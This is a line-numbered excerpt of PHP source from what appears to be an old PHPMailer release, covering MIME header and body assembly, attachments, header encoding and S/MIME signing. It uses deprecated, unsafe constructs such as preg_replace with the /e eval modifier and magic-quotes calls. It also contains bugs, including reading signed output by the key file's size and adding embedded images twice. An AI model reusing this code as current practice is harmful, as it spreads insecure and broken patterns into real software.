2193 // No encoded character found
2194 $foundSplitPos = true;
2195 }
2196 }
2197 return $maxLength;
2198 }
2199
2200 /**
2201 * Set the body wrapping.
2202 * @access private
2203 * @return void
2204 */
2205 function SetWordWrap() {
2206 if($this->WordWrap < 1) {
2207 return;
2208 }
2209
2210 switch($this->message_type) {
2211 case 'alt':
2212 /* fall through */
2213 case 'alt_attachments':
2214 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2215 break;
2216 default:
2217 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2218 break;
2219 }
2220 }
2221
2222 /**
2223 * Assembles message header.
2224 * @access private
2225 * @return string
2226 */
2227 function CreateHeader() {
2228 $result = '';
2229
2230 /* Set the boundaries */
2231 $uniq_id = md5(uniqid(time()));
2232 $this->boundary[1] = 'b1_' . $uniq_id;
2233 $this->boundary[2] = 'b2_' . $uniq_id;
2234
2235 $result .= $this->HeaderLine('Date', $this->RFCDate());
2236 if($this->Sender == '') {
2237 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2238 } else {
2239 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2240 }
2241
2242 /* To be created automatically by mail() */
2243 if($this->Mailer != 'mail') {
2244 if(count($this->to) > 0) {
2245 $result .= $this->AddrAppend('To', $this->to);
2246 } elseif (count($this->cc) == 0) {
2247 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2248 }
2249 if(count($this->cc) > 0) {
2250 $result .= $this->AddrAppend('Cc', $this->cc);
2251 }
2252 }
2253
2254 $from = array();
2255 $from[0][0] = trim($this->From);
2256 $from[0][1] = $this->FromName;
2257 $result .= $this->AddrAppend('From', $from);
2258
2259 /* sendmail and mail() extract Cc from the header before sending */
2260 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2261 $result .= $this->AddrAppend('Cc', $this->cc);
2262 }
2263
2264 /* sendmail and mail() extract Bcc from the header before sending */
2265 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2266 $result .= $this->AddrAppend('Bcc', $this->bcc);
2267 }
2268
2269 if(count($this->ReplyTo) > 0) {
2270 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2271 }
2272
2273 /* mail() sets the subject itself */
2274 if($this->Mailer != 'mail') {
2275 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2276 }
2277
2278 if($this->MessageID != '') {
2279 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2280 } else {
2281 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2282 }
2283 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2284 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2285
2286 if($this->ConfirmReadingTo != '') {
2287 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2288 }
2289
2290 // Add custom headers
2291 for($index = 0; $index < count($this->CustomHeader); $index++) {
2292 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2293 }
2294 if (!$this->sign_key_file) {
2295 $result .= $this->HeaderLine('MIME-Version', '1.0');
2296 $result .= $this->GetMailMIME();
2297 }
2298
2299 return $result;
2300 }
2301
2302 /**
2303 * Returns the message MIME.
2304 * @access private
2305 * @return string
2306 */
2307 function GetMailMIME() {
2308 $result = '';
2309 switch($this->message_type) {
2310 case 'plain':
2311 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2312 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2313 break;
2314 case 'attachments':
2315 /* fall through */
2316 case 'alt_attachments':
2317 if($this->InlineImageExists()){
2318 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2319 } else {
2320 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2321 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2322 }
2323 break;
2324 case 'alt':
2325 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2326 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2327 break;
2328 }
2329
2330 if($this->Mailer != 'mail') {
2331 $result .= $this->LE.$this->LE;
2332 }
2333
2334 return $result;
2335 }
2336
2337 /**
2338 * Assembles the message body. Returns an empty string on failure.
2339 * @access private
2340 * @return string
2341 */
2342 function CreateBody() {
2343 $result = '';
2344 if ($this->sign_key_file) {
2345 $result .= $this->GetMailMIME();
2346 }
2347
2348 $this->SetWordWrap();
2349
2350 switch($this->message_type) {
2351 case 'alt':
2352 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2353 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2354 $result .= $this->LE.$this->LE;
2355 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2356 $result .= $this->EncodeString($this->Body, $this->Encoding);
2357 $result .= $this->LE.$this->LE;
2358 $result .= $this->EndBoundary($this->boundary[1]);
2359 break;
2360 case 'plain':
2361 $result .= $this->EncodeString($this->Body, $this->Encoding);
2362 break;
2363 case 'attachments':
2364 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2365 $result .= $this->EncodeString($this->Body, $this->Encoding);
2366 $result .= $this->LE;
2367 $result .= $this->AttachAll();
2368 break;
2369 case 'alt_attachments':
2370 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2371 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2372 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2373 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2374 $result .= $this->LE.$this->LE;
2375 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2376 $result .= $this->EncodeString($this->Body, $this->Encoding);
2377 $result .= $this->LE.$this->LE;
2378 $result .= $this->EndBoundary($this->boundary[2]);
2379 $result .= $this->AttachAll();
2380 break;
2381 }
2382
2383 if($this->IsError()) {
2384 $result = '';
2385 } else if ($this->sign_key_file) {
2386 $file = tempnam("", "mail");
2387 $fp = fopen($file, "w");
2388 fwrite($fp, $result);
2389 fclose($fp);
2390 $signed = tempnam("", "signed");
2391
2392 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2393 $fp = fopen($signed, "r");
2394 $result = fread($fp, filesize($this->sign_key_file));
2395 fclose($fp);
2396 } else {
2397 $this->SetError($this->Lang("signing").openssl_error_string());
2398 $result = '';
2399 }
2400
2401 unlink($file);
2402 unlink($signed);
2403 }
2404
2405 return $result;
2406 }
2407
2408 /**
2409 * Returns the start of a message boundary.
2410 * @access private
2411 */
2412 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2413 $result = '';
2414 if($charSet == '') {
2415 $charSet = $this->CharSet;
2416 }
2417 if($contentType == '') {
2418 $contentType = $this->ContentType;
2419 }
2420 if($encoding == '') {
2421 $encoding = $this->Encoding;
2422 }
2423 $result .= $this->TextLine('--' . $boundary);
2424 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2425 $result .= $this->LE;
2426 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2427 $result .= $this->LE;
2428
2429 return $result;
2430 }
2431
2432 /**
2433 * Returns the end of a message boundary.
2434 * @access private
2435 */
2436 function EndBoundary($boundary) {
2437 return $this->LE . '--' . $boundary . '--' . $this->LE;
2438 }
2439
2440 /**
2441 * Sets the message type.
2442 * @access private
2443 * @return void
2444 */
2445 function SetMessageType() {
2446 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2447 $this->message_type = 'plain';
2448 } else {
2449 if(count($this->attachment) > 0) {
2450 $this->message_type = 'attachments';
2451 }
2452 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2453 $this->message_type = 'alt';
2454 }
2455 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2456 $this->message_type = 'alt_attachments';
2457 }
2458 }
2459 }
2460
2461 /* Returns a formatted header line.
2462 * @access private
2463 * @return string
2464 */
2465 function HeaderLine($name, $value) {
2466 return $name . ': ' . $value . $this->LE;
2467 }
2468
2469 /**
2470 * Returns a formatted mail line.
2471 * @access private
2472 * @return string
2473 */
2474 function TextLine($value) {
2475 return $value . $this->LE;
2476 }
2477
2478 /////////////////////////////////////////////////
2479 // CLASS METHODS, ATTACHMENTS
2480 /////////////////////////////////////////////////
2481
2482 /**
2483 * Adds an attachment from a path on the filesystem.
2484 * Returns false if the file could not be found
2485 * or accessed.
2486 * @param string $path Path to the attachment.
2487 * @param string $name Overrides the attachment name.
2488 * @param string $encoding File encoding (see $Encoding).
2489 * @param string $type File extension (MIME) type.
2490 * @return bool
2491 */
2492 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2493 if(!@is_file($path)) {
2494 $this->SetError($this->Lang('file_access') . $path);
2495 return false;
2496 }
2497
2498 $filename = basename($path);
2499 if($name == '') {
2500 $name = $filename;
2501 }
2502
2503 $cur = count($this->attachment);
2504 $this->attachment[$cur][0] = $path;
2505 $this->attachment[$cur][1] = $filename;
2506 $this->attachment[$cur][2] = $name;
2507 $this->attachment[$cur][3] = $encoding;
2508 $this->attachment[$cur][4] = $type;
2509 $this->attachment[$cur][5] = false; // isStringAttachment
2510 $this->attachment[$cur][6] = 'attachment';
2511 $this->attachment[$cur][7] = 0;
2512
2513 return true;
2514 }
2515
2516 /**
2517 * Attaches all fs, string, and binary attachments to the message.
2518 * Returns an empty string on failure.
2519 * @access private
2520 * @return string
2521 */
2522 function AttachAll() {
2523 /* Return text of body */
2524 $mime = array();
2525
2526 /* Add all attachments */
2527 for($i = 0; $i < count($this->attachment); $i++) {
2528 /* Check for string attachment */
2529 $bString = $this->attachment[$i][5];
2530 if ($bString) {
2531 $string = $this->attachment[$i][0];
2532 } else {
2533 $path = $this->attachment[$i][0];
2534 }
2535
2536 $filename = $this->attachment[$i][1];
2537 $name = $this->attachment[$i][2];
2538 $encoding = $this->attachment[$i][3];
2539 $type = $this->attachment[$i][4];
2540 $disposition = $this->attachment[$i][6];
2541 $cid = $this->attachment[$i][7];
2542
2543 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2544 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2545 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2546
2547 if($disposition == 'inline') {
2548 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2549 }
2550
2551 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2552
2553 /* Encode as string attachment */
2554 if($bString) {
2555 $mime[] = $this->EncodeString($string, $encoding);
2556 if($this->IsError()) {
2557 return '';
2558 }
2559 $mime[] = $this->LE.$this->LE;
2560 } else {
2561 $mime[] = $this->EncodeFile($path, $encoding);
2562 if($this->IsError()) {
2563 return '';
2564 }
2565 $mime[] = $this->LE.$this->LE;
2566 }
2567 }
2568
2569 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2570
2571 return join('', $mime);
2572 }
2573
2574 /**
2575 * Encodes attachment in requested format. Returns an
2576 * empty string on failure.
2577 * @access private
2578 * @return string
2579 */
2580 function EncodeFile ($path, $encoding = 'base64') {
2581 if(!@$fd = fopen($path, 'rb')) {
2582 $this->SetError($this->Lang('file_open') . $path);
2583 return '';
2584 }
2585 $magic_quotes = get_magic_quotes_runtime();
2586 set_magic_quotes_runtime(0);
2587 $file_buffer = fread($fd, filesize($path));
2588 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2589 fclose($fd);
2590 set_magic_quotes_runtime($magic_quotes);
2591
2592 return $file_buffer;
2593 }
2594
2595 /**
2596 * Encodes string to requested format. Returns an
2597 * empty string on failure.
2598 * @access private
2599 * @return string
2600 */
2601 function EncodeString ($str, $encoding = 'base64') {
2602 $encoded = '';
2603 switch(strtolower($encoding)) {
2604 case 'base64':
2605 /* chunk_split is found in PHP >= 3.0.6 */
2606 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2607 break;
2608 case '7bit':
2609 case '8bit':
2610 $encoded = $this->FixEOL($str);
2611 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2612 $encoded .= $this->LE;
2613 break;
2614 case 'binary':
2615 $encoded = $str;
2616 break;
2617 case 'quoted-printable':
2618 $encoded = $this->EncodeQP($str);
2619 break;
2620 default:
2621 $this->SetError($this->Lang('encoding') . $encoding);
2622 break;
2623 }
2624 return $encoded;
2625 }
2626
2627 /**
2628 * Encode a header string to best of Q, B, quoted or none.
2629 * @access private
2630 * @return string
2631 */
2632 function EncodeHeader ($str, $position = 'text') {
2633 $x = 0;
2634
2635 switch (strtolower($position)) {
2636 case 'phrase':
2637 if (!preg_match('/[\200-\377]/', $str)) {
2638 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2639 $encoded = addcslashes($str, "\0..\37\177\\\"");
2640 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2641 return ($encoded);
2642 } else {
2643 return ("\"$encoded\"");
2644 }
2645 }
2646 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2647 break;
2648 case 'comment':
2649 $x = preg_match_all('/[()"]/', $str, $matches);
2650 /* Fall-through */
2651 case 'text':
2652 default:
2653 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2654 break;
2655 }
2656
2657 if ($x == 0) {
2658 return ($str);
2659 }
2660
2661 $maxlen = 75 - 7 - strlen($this->CharSet);
2662 /* Try to select the encoding which should produce the shortest output */
2663 if (strlen($str)/3 < $x) {
2664 $encoding = 'B';
2665 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2666 // Use a custom function which correctly encodes and wraps long
2667 // multibyte strings without breaking lines within a character
2668 $encoded = $this->Base64EncodeWrapMB($str);
2669 } else {
2670 $encoded = base64_encode($str);
2671 $maxlen -= $maxlen % 4;
2672 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2673 }
2674 } else {
2675 $encoding = 'Q';
2676 $encoded = $this->EncodeQ($str, $position);
2677 $encoded = $this->WrapText($encoded, $maxlen, true);
2678 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2679 }
2680
2681 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2682 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2683
2684 return $encoded;
2685 }
2686
2687 /**
2688 * Checks if a string contains multibyte characters.
2689 * @access private
2690 * @param string $str multi-byte text to wrap encode
2691 * @return bool
2692 */
2693 function HasMultiBytes($str) {
2694 if (function_exists('mb_strlen')) {
2695 return (strlen($str) > mb_strlen($str, $this->CharSet));
2696 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2697 return False;
2698 }
2699 }
2700
2701 /**
2702 * Correctly encodes and wraps long multibyte strings for mail headers
2703 * without breaking lines within a character.
2704 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2705 * @access private
2706 * @param string $str multi-byte text to wrap encode
2707 * @return string
2708 */
2709 function Base64EncodeWrapMB($str) {
2710 $start = "=?".$this->CharSet."?B?";
2711 $end = "?=";
2712 $encoded = "";
2713
2714 $mb_length = mb_strlen($str, $this->CharSet);
2715 // Each line must have length <= 75, including $start and $end
2716 $length = 75 - strlen($start) - strlen($end);
2717 // Average multi-byte ratio
2718 $ratio = $mb_length / strlen($str);
2719 // Base64 has a 4:3 ratio
2720 $offset = $avgLength = floor($length * $ratio * .75);
2721
2722 for ($i = 0; $i < $mb_length; $i += $offset) {
2723 $lookBack = 0;
2724
2725 do {
2726 $offset = $avgLength - $lookBack;
2727 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2728 $chunk = base64_encode($chunk);
2729 $lookBack++;
2730 }
2731 while (strlen($chunk) > $length);
2732
2733 $encoded .= $chunk . $this->LE;
2734 }
2735
2736 // Chomp the last linefeed
2737 $encoded = substr($encoded, 0, -strlen($this->LE));
2738 return $encoded;
2739 }
2740
2741 /**
2742 * Encode string to quoted-printable.
2743 * @access private
2744 * @return string
2745 */
2746 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2747 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2748 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2749 $eol = "\r\n";
2750 $escape = '=';
2751 $output = '';
2752 while( list(, $line) = each($lines) ) {
2753 $linlen = strlen($line);
2754 $newline = '';
2755 for($i = 0; $i < $linlen; $i++) {
2756 $c = substr( $line, $i, 1 );
2757 $dec = ord( $c );
2758 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2759 $c = '=2E';
2760 }
2761 if ( $dec == 32 ) {
2762 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2763 $c = '=20';
2764 } else if ( $space_conv ) {
2765 $c = '=20';
2766 }
2767 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2768 $h2 = floor($dec/16);
2769 $h1 = floor($dec%16);
2770 $c = $escape.$hex[$h2].$hex[$h1];
2771 }
2772 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2773 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2774 $newline = '';
2775 // check if newline first character will be point or not
2776 if ( $dec == 46 ) {
2777 $c = '=2E';
2778 }
2779 }
2780 $newline .= $c;
2781 } // end of for
2782 $output .= $newline.$eol;
2783 } // end of while
2784 return trim($output);
2785 }
2786
2787 /**
2788 * Encode string to q encoding.
2789 * @access private
2790 * @return string
2791 */
2792 function EncodeQ ($str, $position = 'text') {
2793 /* There should not be any EOL in the string */
2794 $encoded = preg_replace("[\r\n]", '', $str);
2795
2796 switch (strtolower($position)) {
2797 case 'phrase':
2798 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2799 break;
2800 case 'comment':
2801 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2802 case 'text':
2803 default:
2804 /* Replace every high ascii, control =, ? and _ characters */
2805 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2806 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2807 break;
2808 }
2809
2810 /* Replace every spaces to _ (more readable than =20) */
2811 $encoded = str_replace(' ', '_', $encoded);
2812
2813 return $encoded;
2814 }
2815
2816 /**
2817 * Adds a string or binary attachment (non-filesystem) to the list.
2818 * This method can be used to attach ascii or binary data,
2819 * such as a BLOB record from a database.
2820 * @param string $string String attachment data.
2821 * @param string $filename Name of the attachment.
2822 * @param string $encoding File encoding (see $Encoding).
2823 * @param string $type File extension (MIME) type.
2824 * @return void
2825 */
2826 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2827 /* Append to $attachment array */
2828 $cur = count($this->attachment);
2829 $this->attachment[$cur][0] = $string;
2830 $this->attachment[$cur][1] = $filename;
2831 $this->attachment[$cur][2] = $filename;
2832 $this->attachment[$cur][3] = $encoding;
2833 $this->attachment[$cur][4] = $type;
2834 $this->attachment[$cur][5] = true; // isString
2835 $this->attachment[$cur][6] = 'attachment';
2836 $this->attachment[$cur][7] = 0;
2837 }
2838
2839 /**
2840 * Adds an embedded attachment. This can include images, sounds, and
2841 * just about any other document. Make sure to set the $type to an
2842 * image type. For JPEG images use "image/jpeg" and for GIF images
2843 * use "image/gif".
2844 * @param string $path Path to the attachment.
2845 * @param string $cid Content ID of the attachment. Use this to identify
2846 * the Id for accessing the image in an HTML form.
2847 * @param string $name Overrides the attachment name.
2848 * @param string $encoding File encoding (see $Encoding).
2849 * @param string $type File extension (MIME) type.
2850 * @return bool
2851 */
2852 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2853
2854 if(!@is_file($path)) {
2855 $this->SetError($this->Lang('file_access') . $path);
2856 return false;
2857 }
2858
2859 $filename = basename($path);
2860 if($name == '') {
2861 $name = $filename;
2862 }
2863
2864 /* Append to $attachment array */
2865 $cur = count($this->attachment);
2866 $this->attachment[$cur][0] = $path;
2867 $this->attachment[$cur][1] = $filename;
2868 $this->attachment[$cur][2] = $name;
2869 $this->attachment[$cur][3] = $encoding;
2870 $this->attachment[$cur][4] = $type;
2871 $this->attachment[$cur][5] = false;
2872 $this->attachment[$cur][6] = 'inline';
2873 $this->attachment[$cur][7] = $cid;
2874
2875 return true;
2876 }
2877
2878 /**
2879 * Returns true if an inline attachment is present.
2880 * @access private
2881 * @return bool
2882 */
2883 function InlineImageExists() {
2884 $result = false;
2885 for($i = 0; $i < count($this->attachment); $i++) {
2886 if($this->attachment[$i][6] == 'inline') {
2887 $result = true;
2888 break;
2889 }
2890 }
2891
2892 return $result;
2893 }
2894
2895 /////////////////////////////////////////////////
2896 // CLASS METHODS, MESSAGE RESET
2897 /////////////////////////////////////////////////
2898
2899 /**
2900 * Clears all recipients assigned in the TO array. Returns void.
2901 * @return void
2902 */
2903 function ClearAddresses() {
2904 $this->to = array();
2905 }
2906
2907 /**
2908 * Clears all recipients assigned in the CC array. Returns void.
2909 * @return void
2910 */
2911 function ClearCCs() {
2912 $this->cc = array();
2913 }
2914
2915 /**
2916 * Clears all recipients assigned in the BCC array. Returns void.
2917 * @return void
2918 */
2919 function ClearBCCs() {
2920 $this->bcc = array();
2921 }
2922
2923 /**
2924 * Clears all recipients assigned in the ReplyTo array. Returns void.
2925 * @return void
2926 */
2927 function ClearReplyTos() {
2928 $this->ReplyTo = array();
2929 }
2930
2931 /**
2932 * Clears all recipients assigned in the TO, CC and BCC
2933 * array. Returns void.
2934 * @return void
2935 */
2936 function ClearAllRecipients() {
2937 $this->to = array();
2938 $this->cc = array();
2939 $this->bcc = array();
2940 }
2941
2942 /**
2943 * Clears all previously set filesystem, string, and binary
2944 * attachments. Returns void.
2945 * @return void
2946 */
2947 function ClearAttachments() {
2948 $this->attachment = array();
2949 }
2950
2951 /**
2952 * Clears all custom headers. Returns void.
2953 * @return void
2954 */
2955 function ClearCustomHeaders() {
2956 $this->CustomHeader = array();
2957 }
2958
2959 /////////////////////////////////////////////////
2960 // CLASS METHODS, MISCELLANEOUS
2961 /////////////////////////////////////////////////
2962
2963 /**
2964 * Adds the error message to the error container.
2965 * Returns void.
2966 * @access private
2967 * @return void
2968 */
2969 function SetError($msg) {
2970 $this->error_count++;
2971 $this->ErrorInfo = $msg;
2972 }
2973
2974 /**
2975 * Returns the proper RFC 822 formatted date.
2976 * @access private
2977 * @return string
2978 */
2979 function RFCDate() {
2980 $tz = date('Z');
2981 $tzs = ($tz < 0) ? '-' : '+';
2982 $tz = abs($tz);
2983 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2984 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2985
2986 return $result;
2987 }
2988
2989 /**
2990 * Returns the appropriate server variable. Should work with both
2991 * PHP 4.1.0+ as well as older versions. Returns an empty string
2992 * if nothing is found.
2993 * @access private
2994 * @return mixed
2995 */
2996 function ServerVar($varName) {
2997 global $HTTP_SERVER_VARS;
2998 global $HTTP_ENV_VARS;
2999
3000 if(!isset($_SERVER)) {
3001 $_SERVER = $HTTP_SERVER_VARS;
3002 if(!isset($_SERVER['REMOTE_ADDR'])) {
3003 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3004 }
3005 }
3006
3007 if(isset($_SERVER[$varName])) {
3008 return $_SERVER[$varName];
3009 } else {
3010 return '';
3011 }
3012 }
3013
3014 /**
3015 * Returns the server hostname or 'localhost.localdomain' if unknown.
3016 * @access private
3017 * @return string
3018 */
3019 function ServerHostname() {
3020 if ($this->Hostname != '') {
3021 $result = $this->Hostname;
3022 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3023 $result = $this->ServerVar('SERVER_NAME');
3024 } else {
3025 $result = 'localhost.localdomain';
3026 }
3027
3028 return $result;
3029 }
3030
3031 /**
3032 * Returns a message in the appropriate language.
3033 * @access private
3034 * @return string
3035 */
3036 function Lang($key) {
3037 if(count($this->language) < 1) {
3038 $this->SetLanguage('en'); // set the default language
3039 }
3040
3041 if(isset($this->language[$key])) {
3042 return $this->language[$key];
3043 } else {
3044 return 'Language string failed to load: ' . $key;
3045 }
3046 }
3047
3048 /**
3049 * Returns true if an error occurred.
3050 * @return bool
3051 */
3052 function IsError() {
3053 return ($this->error_count > 0);
3054 }
3055
3056 /**
3057 * Changes every end of line from CR or LF to CRLF.
3058 * @access private
3059 * @return string
3060 */
3061 function FixEOL($str) {
3062 $str = str_replace("\r\n", "\n", $str);
3063 $str = str_replace("\r", "\n", $str);
3064 $str = str_replace("\n", $this->LE, $str);
3065 return $str;
3066 }
3067
3068 /**
3069 * Adds a custom header.
3070 * @return void
3071 */
3072 function AddCustomHeader($custom_header) {
3073 $this->CustomHeader[] = explode(':', $custom_header, 2);
3074 }
3075
3076 /**
3077 * Evaluates the message and returns modifications for inline images and backgrounds
3078 * @access public
3079 * @return $message
3080 */
3081 function MsgHTML($message,$basedir='') {
3082 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3083 if(isset($images[2])) {
3084 foreach($images[2] as $i => $url) {
3085 // do not change urls for absolute images (thanks to corvuscorax)
3086 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3087 $filename = basename($url);
3088 $directory = dirname($url);
3089 ($directory == '.')?$directory='':'';
3090 $cid = 'cid:' . md5($filename);
3091 $fileParts = split("\.", $filename);
3092 $ext = $fileParts[1];
3093 $mimeType = $this->_mime_types($ext);
3094 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3095 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3096 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3097 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3098 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3099 }
3100 }
3101 }
3102 }
3103 $this->IsHTML(true);
3104 $this->Body = $message;
3105 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3106 if ( !empty($textMsg) && empty($this->AltBody) ) {
3107 $this->AltBody = $textMsg;
3108 }
3109 if ( empty($this->AltBody) ) {
3110 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3111 }
3112 }
3113
3114 /**
3115 * Gets the mime type of the embedded or inline image
3116 * @access private
3117 * @return mime type of ext
3118 */
3119 function _mime_types($ext = '') {
3120 $mimes = array(
3121 'hqx' => 'application/mac-binhex40',
3122 'cpt' => 'application/mac-compactpro',
3123 'doc' => 'application/msword',
3124 'bin' => 'application/macbinary',
3125 'dms' => 'application/octet-stream',
3126 'lha' => 'application/octet-stream',
3127 'lzh' => 'application/octet-stream',
3128 'exe' => 'application/octet-stream',
3129 'class' => 'application/octet-stream',
3130 'psd' => 'application/octet-stream',
3131 'so' => 'application/octet-stream',
3132 'sea' => 'application/octet-stream',
3133 'dll' => 'application/octet-stream',
3134 'oda' => 'application/oda',
3135 'pdf' => 'application/pdf',
3136 'ai' => 'application/postscript',
3137 'eps' => 'application/postscript',
3138 'ps' => 'application/postscript',
3139 'smi' => 'application/smil',
3140 'smil' => 'application/smil',
3141 'mif' => 'application/vnd.mif',
3142 'xls' => 'application/vnd.ms-excel',
3143 'ppt' => 'application/vnd.ms-powerpoint',
3144 'wbxml' => 'application/vnd.wap.wbxml',
3145 'wmlc' => 'application/vnd.wap.wmlc',
3146 'dcr' => 'application/x-director',
3147 'dir' => 'application/x-director',
3148 'dxr' => 'application/x-director',
3149 'dvi' => 'application/x-dvi',
3150 'gtar' => 'application/x-gtar',
3151 'php' => 'application/x-httpd-php',
3152 'php4' => 'application/x-httpd-php',
3153 'php3' => 'application/x-httpd-php',
3154 'phtml' => 'application/x-httpd-php',
3155 'phps' => 'application/x-httpd-php-source',
3156 'js' => 'application/x-javascript',
3157 'swf' => 'application/x-shockwave-flash',
3158 'sit' => 'application/x-stuffit',
3159 'tar' => 'application/x-tar',
3160 'tgz' => 'application/x-tar',
3161 'xhtml' => 'application/xhtml+xml',
3162 'xht' => 'application/xhtml+xml',
3163 'zip' => 'application/zip',
3164 'mid' => 'audio/midi',
3165 'midi' => 'audio/midi',
3166 'mpga' => 'audio/mpeg',
3167 'mp2' => 'audio/mpeg',
3168 'mp3' => 'audio/mpeg',
3169 'aif' => 'audio/x-aiff',
3170 'aiff' => 'audio/x-aiff',
3171 'aifc' => 'audio/x-aiff',
3172 'ram' => 'audio/x-pn-realaudio',
3173 'rm' => 'audio/x-pn-realaudio',
3174 'rpm' => 'audio/x-pn-realaudio-plugin',
3175 'ra' => 'audio/x-realaudio',
3176 'rv' => 'video/vnd.rn-realvideo',
3177 'wav' => 'audio/x-wav',
3178 'bmp' => 'image/bmp',
